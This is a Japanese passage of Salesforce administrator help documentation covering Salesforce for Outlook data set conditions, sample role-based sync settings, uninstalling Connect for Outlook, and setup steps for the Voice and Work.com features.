ユーザの ID を参照します。この差し込み項目は、
ユーザ参照項目に適用できます。この差し込み項目

$User.ID

に対して有効な演算子は [次の文字列と一致する] と
[次の文字列と一致しない] です。所有者項目を参照
するモバイルビューの条件を作成する場合は、
$User.ID 差し込み項目のみを使用できます。
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説明差し込み項目

ユーザのユーザ名を参照します。この差し込み項目
は、選択リストを除くテキスト系またはルックアッ

$User.Username

プ系の項目に適用できます。この差し込み項目に対
して有効な演算子は [次の文字列と一致する]、[次の
文字列と一致しない]、[>]、[>=]、[<]、[<=]、[次の文
字列を含む]、[次の文字列を含まない]、および [次の
文字列で始まる] です。

ユーザの名を参照します。この差し込み項目は、選
択リストを除くテキスト系またはルックアップ系の

$User.Firstname

項目に適用できます。この差し込み項目に対して有
効な演算子は [次の文字列と一致する]、[次の文字列
と一致しない]、[>]、[>=]、[<]、[<=]、[次の文字列を
含む]、[次の文字列を含まない]、および [次の文字列
で始まる] です。

ユーザの姓を参照します。この差し込み項目は、選
択リストを除くテキスト系またはルックアップ系の

$User.Lastname

項目に適用できます。この差し込み項目に対して有
効な演算子は [次の文字列と一致する]、[次の文字列
と一致しない]、[>]、[>=]、[<]、[<=]、[次の文字列を
含む]、[次の文字列を含まない]、および [次の文字列
で始まる] です。

ユーザの姓名を参照します。この差し込み項目は、
選択リストを除くテキスト系またはルックアップ系

$User.Fullname

の項目に適用できます。この差し込み項目に対して
有効な演算子は [次の文字列と一致する]、[次の文字
列と一致しない]、[>]、[>=]、[<]、[<=]、[次の文字列
を含む]、[次の文字列を含まない]、および [次の文字
列で始まる] です。

関連トピック:

Salesforce for Outlook の取引先責任者の条件の設定
Salesforce for Outlook のデータセットの定義
Salesforce for Outlook データセットのサイズの確認
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Lightning Sync および Salesforce for Outlook の行動条件の入力

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

データセットを作成、編
集、または削除する
• 同期方向は 同期しな

い にはできません

データセットは、Salesforce for Outlook ユーザが同期できる Salesforce レコードのサ
ブセットです。同期するレコードを限定する条件で構成されています。たとえ
ば、ユーザの多くは、現在と将来の行動のみの同期をとりますが、ユーザによっ
ては過去の行動の同期が必要な場合もあります。Salesforce for Outlook では、開始
日ではなく終了日を基準に行動の同期をとります。たとえば、現在と将来の行
動のみの同期をとる場合、昨日開始した 2 日間にわたる行動も同期の対象にな
ります。
[Outlook 設定の詳細] ページの [データセット] セクションには、設定の現在の行動
条件の概要が示されます。
1. 設定のデータセットを定義します。
2. [行動] の下で、[＞＝] 項目に次の条件の 1 つを入力します。

• 今日: 今日または今日以降終了する行動を同期します。開始時刻は、午前
12:00 です。

• 先月: 先月の初日または初日以降に終了する行動を同期します。
• 過去 N 日間: 過去 30 日間など、指定の日数の間、またはそれ以降に終

了する行動のみを同期します。

3. [レコード件数を取得] ボタンを使用すると、設定の条件に基づいたサンプル
の Salesforce for Outlook ユーザに同期するレコード数を確認します。

4. データセットを保存します。

メモ: 同期すると設定した最初の日に開始する終日の行動、および行動の
被招集者は同期しません。複数日の行動は、いずれかの方向で 1 つの行動
として同期します。複数日の行動は同期します。

関連トピック:

Lightning Sync および Salesforce for Outlook のサンプルデータセット
Salesforce for Outlook データセットのサイズの確認
Salesforce for Outlook との行動の同期
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Salesforce for Outlook の ToDo 条件の作成

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

データセットを作成、編
集、または削除する
• 同期方向は 同期しな

い にはできません

営業チーム用に Microsoft® Outlook® と Salesforce 間でどの ToDo を同期するかを指定
します。
データセットは、Salesforce for Outlook ユーザが同期できる Salesforce レコードのサ
ブセットです。同期するレコードを限定する条件で構成されています。たとえ
ば、ユーザの多くは、期限を過ぎた ToDo を同期しますが、その他のユーザは現
在と将来の ToDo のみを同期します。Salesforce for Outlookでは、開始日ではなく終
了日を基準に ToDo の同期をとります。たとえば、現在と将来の ToDo のみの同期
をとる場合、昨日開始した ToDo も同期の対象になります。
[Outlook 設定の詳細] ページの [データセット] セクションには、設定の現在の ToDo

条件の概要が示されます。
1. 設定のデータセットを定義します。
2. [ToDo] の下で、[＞＝] 項目に次の条件の 1 つを入力します。

• 今日  — 今日または今日以降に終了する ToDo を同期します。開始時刻は、
午前 12:00 です。

• 先月  — 先月の初日または初日以降に終了する ToDo のみを同期します。
• 過去 N 日間  — 過去 30 日間など、指定した日数を遡る過去の日または

それ以降に終了する ToDo (タスク) を同期します。

3. Salesforce の定期的な ToDo を Outlook と同期するかどうかを選択します。

4. [レコード件数を取得] ボタンを使用すると、設定の条件に基づいたサンプルの Salesforce for Outlook ユーザに
同期するレコード数を確認します。

5. データセットを保存します。

メモ: Salesforce for Outlook では、すべての種類の ToDo が同期されるわけではありません。次の種類の ToDo

が同期されることはありません。
• Salesforce に対する Outlook の定期的な ToDo (タスク)

• 完了した ToDo (Salesforce for Outlook で同期する前に完了とマークされた場合)
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• ToDo リストに追加されたメールまたは取引先責任者 (項目にフォローアップフラグを設定した場合)。
Outlook はこの項目を ToDo とみなしません。

関連トピック:

Outlook 設定および Outlook パブリッシャーレイアウト
ToDo の Salesforce for Outlook との同期
Lightning Sync および Salesforce for Outlook のサンプルデータセット

Lightning Sync および Salesforce for Outlook のサンプルデータセット

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

通常、同じ役割のユーザはデータの同期要件が似ていることから、システム管
理者の多くは、同期設定を組織の役職に基づいて作成します。以下に示すサン
プルデータセットは、Salesforce グループに共通のものです。Salesforce for Outlook

および Lightning Sync ユーザには固有のニーズがありますが、Outlook 設定
(Salesforce for Outlook ユーザの場合) や Lightning Sync 設定 (Lightning Sync ユーザの場
合) の作成を開始するにあたっては、この例が参考になります。
営業マネージャ

通常、営業マネージャは、所有するレコードと直属の部下のレコードを確認
する必要があります。また、パイプラインにある重要商談に関連付けられて
いるユーザの最新の取引先責任者情報や、これらの商談に関連する可能性の
ある次回のミーティングも確認する必要があります。さらに、Outlook で Chatter 取引先責任者が必要になる
こともあります。
営業マネージャの Outlook 設定のサンプル:

Contacts
Contacts: User's Records, User's Team's Records
Contacts on Opportunities: User's Team's Records
Contacts on Accounts: User's Team's Records
Contacts in Chatter: Records User is Following

Events
Events: User's Records
Date greater or equal TODAY

Tasks
Tasks: User's Records
Date greater or equal TODAY

営業担当技術者
通常、営業担当技術者には、自分や商談チームの他のメンバーが所有する取引先責任者しか必要ありませ
ん。ただし、Chatter 取引先責任者、過去月のミーティングの記録、および将来のすべてのミーティングの
スケジュールも必要になることがあります。
営業担当技術者の Outlook 設定のサンプル:

Contacts
Contacts: User's Records
Contacts on Opportunities: User's Opportunity Teams' Records
Contacts in Chatter: Records User is Following
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Events
Events: User's Records
Date greater or equal LAST MONTH

Tasks
Tasks: User's Records
Date greater or equal LAST MONTH

アカウントエグゼクティブ
アカウントエグゼクティブは、取引先および商談に関連する取引先責任者を確認する必要があります。商
談は、確度が 40% を超える進行中の商談に関連する取引先責任者のみが同期されるように絞り込まれます。
また、Chatter 取引先責任者、将来のすべてのミーティング、および過去 2 か月のすべてのミーティングも
同期する必要があります。
アカウントエグゼクティブの Outlook 設定のサンプル:

Contacts
Contacts on Opportunities: User's Records
(Probability (%) greater than 40) AND (Stage not equal to Closed Won,Closed Lost
Contacts on Accounts: User's Records
Contacts in Chatter: Records User is Following

Events
Events: User's Records
Date greater or equal LAST 60 DAYS

Tasks
Tasks: User's Records
Date greater or equal LAST 60 DAYS

関連トピック:

Salesforce for Outlook のデータセットの定義
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Salesforce for Outlook データセットのサイズの確認

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Outlook データセットを表
示する
• 「設定・定義を参照す

る」

Outlook データセットをテ
ストする
• 「メールクライアント

設定の管理」

[レコード件数を取得] ボタンを使用すると、設定の条件に基づいたサンプルの
Salesforce for Outlook ユーザに同期するレコード数を確認します。数が多すぎる、
または少なすぎる場合、条件を調整して、サイズを再確認します。オブジェク
トあたりの最大レコード件数は 5000 です。
1. 設定のデータセットを定義します。
2. [データセットサイズ] の下で、[ユーザ]項目の横にあるルックアップアイコ

ンをクリックします。
3. ユーザを選択します。最大サイズをテストするには、今は設定に割り当てら

れていないユーザでもよいため、多数のレコードを持つユーザを選択しま
す。

4. [レコード件数を取得] をクリックします。そのユーザについて、Outlook と
Salesforce との間で同期をとるレコード数が表示されます。

5. 必要に応じて、条件または選択するユーザを調整して、データセットを再テ
ストします。[保存] をクリックするまでは、何も保存されません。

関連トピック:

Salesforce for Outlook のデータセットの定義

ユーザが実行する Salesforce for Outlook のバージョンの追跡

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

レポートを実行する
• 「レポート実行」

ログイン履歴レポートから、ユーザが実行している Salesforce for Outlook のバー
ジョンをすばやく確認できます。
1. [設定] から、[クイック検索] ボックスに「ログイン履歴」と入力し、[ログイ

ン履歴] を選択します。
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2. [アプリケーション] および [クライアントのバージョン] 列に、各ユーザの Salesforce for Outlook のバージョン
が表示されます。

関連トピック:

デスクトップベースの Salesforce for Outlook

Connect for Outlook: (終了)
すでに終了となった Connect for Outlook 製品に目を向けるのではなく、クラウドまたはデスクトップベースの
Microsoft インテグレーション製品である Lightning for Outlook または Salesforce for Outlook を検討することを強くお
勧めします。

重要: Connect for Outlook は、Winter '16 をもって終了しました。つまり、Microsoft® Outlook® と Salesforce 間の取
引先責任者、行動、ToDo の同期が行われることはありません。
無効にしても心配いりません。Lightning for Outlook または Salesforce for Outlook に移行すれば、生産性がさら
に高まります。Salesforce システム管理者と相談のうえ、自分や同僚に最も適した製品を判断してくださ
い。

Connect for Outlook のアンインストール方法は?
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Connect for Outlook のアンインストール方法は?

関連トピック:

Connect for Outlook のアンインストール方法は?

https://help.salesforce.com/HTViewSolution?id=000204943

Connect for Outlook のアンインストール方法は?

適切なメールインテグレーション製品の選択

Connect for Outlook のアンインストール方法は?

重要: Connect for Outlook は、Winter '16 をもって終了しました。つまり、Microsoft® Outlook® と Salesforce 間の取
引先責任者、行動、ToDo の同期が行われることはありません。
無効にしても心配いりません。Lightning for Outlook または Salesforce for Outlook に移行すれば、生産性がさら
に高まります。Salesforce システム管理者と相談のうえ、自分や同僚に最も適した製品を判断してくださ
い。

1. Microsoft® Outlook® を終了します。
2. Windows® で、コントロールパネルを開きます。
3. プログラムをアンインストールするオプションを選択します。
4. Salesforce Outlook Edition にスクロールし、プロンプトに従ってアンインストールします。

関連トピック:

https://help.salesforce.com/HTViewSolution?id=000204943

適切なメールインテグレーション製品の選択

Voice の設定

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

ユーザは、Voice により、テレフォニー機能に Salesforce で直接アクセスできるよ
うになります。
組織で Voice を使用する手順は、次のとおりです。

1. Voice の前提条件
組織で Voice を有効にする前に、実装計画を立てます。

2. Voice の有効化
Lightning Experience の [Voice 設定] ページから Voice をオンにします。

3. ユーティリティバーへの Voice の追加
アプリケーションマネージャを使用し、ページ下部のユーティリティバーか
ら Voice を使用できるようにします。ユーティリティバーでは、営業担当が
よく使用するツールにすばやくアクセスできます。
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4. Voice 機能を含む権限セットの作成
カスタム権限セットにより、Voice アプリケーション権限を割り当てます。

5. ユーザへの Voice 権限セットの割り当て
[設定] から Voice ライセンスをユーザに割り当てます。

6. Voice 利用状況の管理方法
[設定] から組織の Voice 利用状況を表示します。

Voice の前提条件
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

ユーザ権限

Voice 機能を有効にする
• 「アプリケーションの

カスタマイズ」

権限セットを割り当てる
• 「権限セットの割り当

て」

ユーザを管理する
• 「ユーザの管理」

および

「プロファイルと権限
セットの管理」

組織で Voice を有効にする前に、実装計画を立てます。
Voice コールは専用ネットワークにすることが最適です。Voice セッションごとに
最低 10 kbps を使用できるようにすることをお勧めしますが、Voice セッションご
とに 500 kbps 以上にすることが最適です。
Voice でサポートされるブラウザには、最新バージョンの Chrome、Firefox、Edge

が含まれます。Voice を動作させるには、コンピュータで開いているポートおよ
びネットワークファイアウォールも必要です。次のポートがブロックされてい
ないことを確認してください。
• TCP: ポート 80 と 443

• UDP: 10,000 から 60,000 のすべてのポート

メモ:  Open CTI をすでに使用しているユーザには、Voice を割り当てないでく
ださい。
ユーザの Open CTI を無効にするには、[設定] から、[クイック検索] ボック
スに「ユーザ」と入力し、[ユーザ] を選択します。次に、Voice ユーザの
[コールセンター] 項目の選択を解除します。

現在、Voice 製品には次の制限があります。
• Voice 機能は、デスクトップの Lightning Experience でのみ使用できます。
• レポートとダッシュボードの電話番号に、Voice で直接電話をかけることはで

きません。
• 米国とカナダへの発信電話のみがサポートされています。
• ライセンスごとに 1 つの専用番号を使用できます。これを変更するには、シ

ステム管理者が番号をリリースし、Voice ユーザが別の番号を自分自身に再割
り当てします。システム管理者は、毎月、ユーザごとに最大で 1 つの番号を
リリースして置き換えることができます。

• 組織で ToDo のレコードタイプを有効にしている場合は、[活動の記録] クイッ
クアクションを特定のレコードタイプに割り当て、活動を記録します。

実装プロセスを開始する前に、Salesforce で Voice 権限を有効にして、Voice ライセンスを組織にプロビジョニン
グします。Salesforceの担当者がシステム管理者と協力してライセンスや権限を調整しますが、組織に使用可能
な Voice ライセンスがあるかどうはシステム管理者自身がチェックできます。[設定] から、クイック検索ボッ
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クスに「組織情報」と入力し、[組織情報]を選択して、権限セットライセンスで、[Voice のアウトバウンドユー
ザ]、[Voice 時間]、[Voice のインバウンドユーザ] を確認します。
Sandbox 環境で Voice を使用する方法については、「Sandbox での Voice 機能のテスト」を参照してください。

Voice の有効化
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

ユーザ権限

Voice 機能を有効にする
• 「アプリケーションの

カスタマイズ」

Lightning Experience の [Voice 設定] ページから Voice をオンにします。
1. [設定] から、[クイック検索] ボックスに「Voice 設定」と入力し、[Voice 設

定] を選択します。
2. Voice を有効にします。

必要に応じて、組織の個人ボイスメールおよび優先コールのリストも有効に
します。
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ユーティリティバーへの Voice の追加
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

ユーザ権限

Voice 機能を有効にする
• 「アプリケーションの

カスタマイズ」

アプリケーションマネージャを使用し、ページ下部のユーティリティバーから
Voice を使用できるようにします。ユーティリティバーでは、営業担当がよく使
用するツールにすばやくアクセスできます。
1. [設定] から、[クイック検索]ボックスに「アプリケーションマネージャ」と入

力し、[アプリケーションマネージャ] を選択します。
2. 既存の Lightning アプリケーションを編集するか、[新規 Lightning アプリケー

ション]をクリックします。また、カスタムClassic アプリケーションをLightning

アプリケーションにアップグレードすることもできます。
営業ユーザ用に設定済みの多くのオプションが、Lightning Sales アプリケーショ
ンに表示されます (使用可能な場合)。

3. [ユーティリティバー] タブで [追加] をクリックし、[音声] を選択します。
4. [ユーザプロファイルへの割り当て] タブで、関連ユーザプロファイルでのア

プリケーションの使用を可能にします。
5. アプリケーション名、ブランド情報、使用可能なメニュー項目など、その他

のアプリケーションの詳細を検証します。
6. 変更内容を保存します。
変更内容を確認するには、[アプリケーションランチャー] をクリックし、Lightning

Voice が有効になっているアプリケーションを選択します。

Voice 機能を含む権限セットの作成
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

ユーザ権限

権限セットを作成する
• 「プロファイルと権限

セットの管理」

カスタム権限セットにより、Voice アプリケーション権限を割り当てます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. [新規] をクリックします。
3. 権限セットの名前を入力します。

「Voice」という名前を付けると、識別が簡単になります。

メモ: [ライセンス] ドロップダウンでは [なし]を選択してください。特
定のユーザライセンスを権限セット用に選択しないでください。

4. [保存] をクリックします。
5. [アプリケーション権限] をクリックします。
6. [編集] をクリックします。
7. [音声時間 (分) にアクセス]、[音声アウトバウンドコールにアクセス]、[音声

インバウンドコールにアクセス] (使用可能な場合) を選択します。
8. [保存] をクリックします。
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ユーザへの Voice 権限セットの割り当て
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

ユーザ権限

権限セットを割り当てる
• 「権限セットの割り当

て」

[設定] から Voice ライセンスをユーザに割り当てます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザを選択します。
3. [権限セットライセンスの割り当て] 関連リストで、[割り当ての編集]をクリッ

クします。
4. Voice Minutes、Voice Outbound User、Voice Inbound User (使用可能な場合) のライセ

ンスを割り当て、[保存] をクリックします。
5. [権限セットの割り当て] 関連リストで、[割り当ての編集]をクリックします。
6. [有効化された権限セット] で Voice 権限セットを追加し、[保存] をクリックし

ます。
7. Voice のアクセス権を付与する、その他のユーザに、このプロセスを繰り返し

ます。
割り当てられる権限セットの数は、購入した機能ライセンスの数によって制
限されます。

Voice 利用状況の管理方法
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

[設定] から組織の Voice 利用状況を表示します。
[設定] から、[クイック検索]ボックスに「利用状況レポート」と入力し、[利用状
況レポート] を選択します。
ページには、今月と先月に組織で使用した合計時間 (分単位) が表示されます。
日付によって利用状況を表示したり、利用状況データの並び替えと絞り込みを
行うこともできます。

Voice 番号のリリース
[設定] の [番号管理] ページから番号をリリースします。
Sandbox での Voice 機能のテスト
Full Sandbox 組織で機能を再度有効にして、Sandbox 環境で Voice をテストしま
す。Sandbox でかける電話はテスト通話であり、電話番号は実際にはダイヤ
ルされません。
Voice のトラブルシューティングのヒント
Voice を使用するように環境が設定されていること、および最新バージョンの Chrome、Firefox、Edge のいず
れかがあることを確認してください。
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Voice 番号のリリース

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

ユーザ権限

Voice 機能を有効にする
• 「アプリケーションの

カスタマイズ」

[設定] の [番号管理] ページから番号をリリースします。
番号をリリースすると、その番号は復元できなくなります。通話データにはア
クセスできますが、その番号で電話をかけることはできません。システム管理
者は、毎月、ユーザごとに最大で 1 つの番号をリリースできます。
1. [設定] から、[クイック検索] ボックスに「番号管理」と入力し、[番号管理]

を選択します。
2. 番号の横の をクリックします。
3. [リリース] をクリックします。
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Sandbox での Voice 機能のテスト

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

ユーザ権限

Voice 機能を有効にする
• 「アプリケーションの

カスタマイズ」

Sandbox を表示する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

Full Sandbox 組織で機能を再度有効にして、Sandbox 環境で Voice をテストします。
Sandbox でかける電話はテスト通話であり、電話番号は実際にはダイヤルされま
せん。
組織で Voice が有効である場合は、Voice の機能を Sandbox 環境でテストできます。
Sandbox では、仮の電話を発信できます。着信電話はサポートされていません。
1. Voice 組織の Full Sandbox を作成します。
2. Sandbox にログインします。
3. [設定] から、[クイック検索] ボックスに「Voice 設定」と入力し、[Voice 設

定] を選択します。
4. Voice 設定をオフに切り替えてからオンに戻します。
5. Sandbox 組織での Voice の設定を完了します。

Voice の設定が終わっていない場合は、ユーティリティバーへの Voice の追加、
Voice の権限セットの作成、ユーザへの権限セットの割り当てを行います。

メモ: 各ユーザは、電話番号を Sandbox で選択するとき、ダミーの番号
のリストから番号を選択できます。複数のユーザを同じ電話番号に割り
当てると、エラーが発生することがあります。

Voice のトラブルシューティングのヒント

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

Voice を使用するように環境が設定されていること、および最新バージョンの
Chrome、Firefox、Edge のいずれかがあることを確認してください。

可能な解決策問題

電話を発信できない。 • ネットワークに接続していることを確認します。
• マイクロフォンにアクセスする権限をブラウザに

付与したことを確認します。
• Voice が組織で適切に設定されていることを確認し

ます。初期設定の詳細は、Salesforceヘルプの「Voice

の前提条件」を参照してください。
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可能な解決策問題

ネットワーク接続の品質を確認します。通話アクティビティには高速ネッ
トワークまたは独立したネットワークを使用するか、ネットワークで Voice

トラフィックを最適化することをお勧めします。

通話中と通話外で音声が途絶え
る。

音声が一方向 (いずれかのエンド)

になる。
• マイクロフォンとスピーカーが接続されていて有効であること、およ

びマイクロフォンがミュートされていないことを確認します。
• コンピュータとネットワークファイアウォールで正しいポートが開い

ていることを確認します。

通話の音声品質が低い。 • ワイヤレスまたはモバイルのヘッドフォンで有線 USB ヘッドセットを使
用します。

• 周囲の騒音を減らし、静かな場所で通話します。
• マイクロフォンとスピーカーの音量設定を調整します。
• ワイヤレス接続を使用している場合は、適切な帯域幅で有線接続に切

り替えます。
• 余分なアプリケーションおよびブラウザのタブを閉じて、高品質の通

話をするための十分なリソースがコンピュータにあることを確認しま
す。

Work.com の設定

Work.com 実装の概要
エディション

使用可能なエディション:
Salesforce Classic

Work.comは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

Work.com は、マネージャやチームがより短期間でスキルを習得し、よりよいパ
フォーマンスを実現できるようにする販売管理およびサービス管理のツールで
す。
Work.com には、営業チームやサービスチームに役立つさまざまな機能が用意さ
れています。たとえば、実際の報奨に関連するレコグニション、詳細な目標と
リアルタイムコーチング、完全機能を備えたパフォーマンスレビューなどが挙
げられます。
Work.com ライセンスを受け取ったら、次の操作を実行して Work.com を設定する
必要があります。
• Work.com 管理者を指定して、設定プロセスを完了する。
• Work.com 機能の設定を有効にする。
• プロファイルまたは権限セットを使用して Work.com 機能への権限を設定す

る。
• Work.com ライセンスをユーザに割り当てる。
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• 組織の Work.com 機能を設定する。

関連トピック:

前提条件
Work.com 管理者の指定
Work.com 機能の有効化
Work.com 機能へのアクセス
Work.com ライセンスの種類
Work.com 機能の概要

前提条件
エディション

使用可能なエディション:
Salesforce Classic

Work.comは、Professional
Edition、Enterprise
Edition、Unlimited
Edition、または Developer
Edition のアドオンライセ
ンスとして取得できま
す。また、Performance
Edition には含まれていま
す。

ユーザ権限

「アプリケーションのカスタマイズ」Work.com 機能を有効にする

「権限セットの割り当て」権限セットを割り当てる

「ユーザの管理」プロファイルを割り当てる

「プロファイルと権限セットの管理」

および

「アプリケーションのカスタマイズ」

項目レベルセキュリティを設定する

「Work.com 調整の有効化」[調整] タブを参照する

組織で Work.com を有効にする前に、実装計画を立てます。
実装プロセスを開始する前に、Salesforceで、Work.com権限を有効にして、Work.com

ライセンスを組織にプロビジョニングします。Salesforceの担当者がシステム管理者と協力してライセンスや権
限を調整しますが、組織に使用可能な Work.com ライセンスがあるかどうはシステム管理者自身がチェックで
きます。[設定] から、[クイック検索] ボックスに「組織情報」と入力し、[組織情報] を選択して、[機能ライセ
ンス] にある Work.com ユーザを確認します。

メモ: 組織で使用しているエディションに関係なく、Chatter を有効にすることをお勧めします。Work.com

の多くの機能は、Chatterフィードを使用してユーザへの通知ややりとりを行います。Chatterが有効である
ことを確認するには、[設定] から [クイック検索] ボックスに「Chatter 設定」と入力し、[Chatter 設定]

を選択して、Chatter 設定が有効になっていることを確認します。

関連トピック:

Work.com 管理者の指定
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Work.com の有効化

Work.com 管理者の指定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Work.com 管理者を指定す
る
• 「アプリケーションの

カスタマイズ」

組織で Work.com を有効にする前に、Work.com ユーザ機能ライセンスを、システ
ム管理者として組織の Work.com の設定を担当するユーザに割り当てる必要があ
ります。
自分自身が Work.com を設定する管理者である場合は、自分にライセンスを割り
当てます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. システム管理者になるユーザの名前を検索して、名前の横にある [編集]をク

リックします。
3. 右側の列で、[Work.com ユーザ] チェックボックスをオンにします。
4. [保存] をクリックします
通常の Salesforce システム管理者プロファイルは権限が極めて高いため、アクセ
ス権が制限された Work.com 管理者プロファイルを別途作成することを強くお勧
めします。

関連トピック:

Work.com 機能の有効化

Work.com 機能の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Work.com 機能を有効にす
る
• 「アプリケーションの

カスタマイズ」

システム管理者は [Work.comの設定] ページで、Work.comの機能の設定を有効化で
きます。
[感謝設定] および [スキル設定] 以外のすべての設定には、Work.comライセンスが
必要です。
1. [設定] から、[クイック検索] ボックスに「Work.com の設定」と入力し、

[Work.com の設定] を選択します。
2. 有効にする Work.com 機能を選択します。

Spring '15 リリースより前にWork.comを購入しているユーザの場合、表示され
る機能は、Work.com Motivate、Work.com Align、Work.com Performのどのアド
オンライセンスを所有しているかによって異なります。
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説明セクション機能

感謝を有効にし、Chatterフィードで感謝バッジによっ
て他のユーザを表彰できるようにします。
この設定を無効にすると、ユーザにはChatterパブリッ
シャーの [感謝] アクションが表示されなくなります。

感謝設定感謝の有効化

ただし、それより前に作成された感謝投稿は引き続き
表示されます。

デフォルトでは、すべてのユーザがカスタムバッジを
作成できます。この設定は、報奨オブジェクトに対す

感謝設定カスタムバッジの作成者
の制限

る「作成」権限を持つユーザに、バッジの作成を制限
します。

報奨を有効にして、具体的な報奨をバッジに関連付け
ます。報奨の作成者は、ギフトコードをアップロード

評価設定報奨の有効化

して報奨資金を作成できます。報奨の作成についての
詳細は、「報奨資金」トピックを参照してください。

マネージャグループを有効にして、報告するユーザの
コーチングスペースへのアクセス権をマネージャに付

コーチング設定コーチングのマネージャ
グループの有効化

与します。この設定を有効にするには、最初に [設定]

の [共有設定] にある [マネージャグループ] 設定を有効
にする必要があります。

マネージャグループを有効にして、報告するユーザの
目標へのアクセス権をマネージャに付与します。この

目標設定目標のマネージャグルー
プの有効化

設定を有効にするには、最初に [設定] の [共有設定] に
ある [マネージャグループ] 設定を有効にする必要があ
ります。

調整を有効にして、チームまたは複数のユーザにまた
がってパフォーマンスを表示および更新します。

実行設定調整の有効化

メモ: Performance Edition 組織の場合、契約管理
者、マーケティングユーザ、参照のみ、ソリュー
ション管理者の各プロファイルでは調整を使用
できません。

スキルを有効にして、ユーザが自分のプロファイルに
スキルを追加したり、他のユーザのスキルを支持した

スキル設定スキルの有効化

りできるようにします。この設定を有効化すると、
Chatter プロファイルの [知識のある分野] ウィジェット
が置き換えられます。

Chatterプロファイルのスキルと支持のインライン編集
を無効にし、レコード詳細ページの編集を制限しま

スキル設定レコード詳細ページでの
スキルと支持の編集の制
限
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説明セクション機能

す。カスタム必須項目でこれらのオブジェクトをカス
タマイズした場合にお勧めします。

メモ: Chatterプロファイルのスキルを使用する場
合は、この設定を有効化しないでください。

ユーザが新しいスキルを追加したときに、Chatterフィー
ド投稿を自動的に作成できるようにします。

スキル設定スキルの自動フィード投
稿の有効化

推奨スキルを有効にして、スキルウィジェットがChatter

でのトピック活動に基づいてユーザが追加するスキル
を提案するようにします。

スキル設定推奨スキルの有効化

3. [保存] をクリックします。

関連トピック:

Work.com 機能へのアクセス

Work.com 機能へのアクセス

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織でWork.comを有効にしたら、プロファイルまたは権限セットを使用してユー
ザに Work.com 機能へのアクセス権を付与します。
システム管理者は、権限セットとプロファイルのいずれかを使用して、ユーザ
に Work.com 機能へのアクセス権を付与できます。

メモ:  Professional Edition 組織では、既存のプロファイルを使用してアクセス
権を付与する必要があります。

• プロファイルには、組織内でユーザが実行できる内容を制御するユーザ権限
およびアクセス設定が含まれます。どのユーザも 1 つのプロファイルしか設
定できません。プロファイルの作成についての詳細は、「推奨されるWork.com

プロファイル」を参照してください。
• 権限セットは、さまざまなツールと機能へのアクセス権をユーザに付与する

設定と権限のコレクションです。権限セットは、ユーザのプロファイルを変更せずにユーザの機能アクセ
ス権を拡張します。適切な権限セットの作成についての詳細は、「推奨される Work.com 権限セット」を参
照してください。
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組織が Work.com 限定ユーザライセンスをプロビジョニングしている場合、このライセンスに標準の Work.com

限定プロファイルが付属しています。標準プロファイルは変更できませんが、このプロファイルをコピーし
て、コピーされたプロファイルを変更することは可能です。

関連トピック:

